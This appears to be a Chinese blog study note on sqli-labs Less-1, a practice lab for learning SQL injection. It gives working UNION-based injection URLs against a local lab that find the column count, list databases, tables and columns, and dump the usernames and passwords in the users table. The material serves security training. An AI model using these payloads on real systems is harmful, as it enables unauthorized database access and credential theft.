-
url中#号无效,在url中使用%23代替#,或使用两个减号
--
代替注释,注意两个减号后常根一个加号+
,被解析为空格,以注释掉后面的引号完成闭合 -
字符串中所有字符都可以使用16进制输入(需要加0x)
-
探测有多少列:
localhost/sqli-labs-master/Less-1/?id=1' order by 2--+
,通过order by来探测列数 -
利用group_concat来在一行内显示多个信息
-
探测union注入:
localhost/sqli-labs-master/Less-1/?id=-1' union select 1, 2, 3--+
(3列) -
查询所有库名:
select group_concat(schema_name) from information_schema.SCHEMATA
example:localhost/sqli-labs-master/Less-1/?id=-1' union select 1, 2, (select group_concat(schema_name) from information_schema.SCHEMATA)--+
-
查询security库中所有表名:
select group_concat(table_name) from information_schema.TABLES where table_schema = 'security'
example:http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1, 2, (select group_concat(table_name) from information_schema.TABLES where table_schema = 'security')--+
-
查询user表中所有列名:
select group_concat(column_name) from information_schema.columns where table_name = 'users'
example:http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1, 2, (select group_concat(column_name) from information_schema.columns where table_name = 'users')--+
-
查询user表中信息:
select group_concat(concat_ws('~', username,password)) from users
(使用concat_ws()是为了分割数据,防止数据粘在一起)
example:http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1, 2, (select group_concat(concat_ws('~', username,password)) from users)--+
sqli-labs第一关(MySql基础)
最新推荐文章于 2024-03-02 20:00:06 发布
关键词由CSDN通过智能技术生成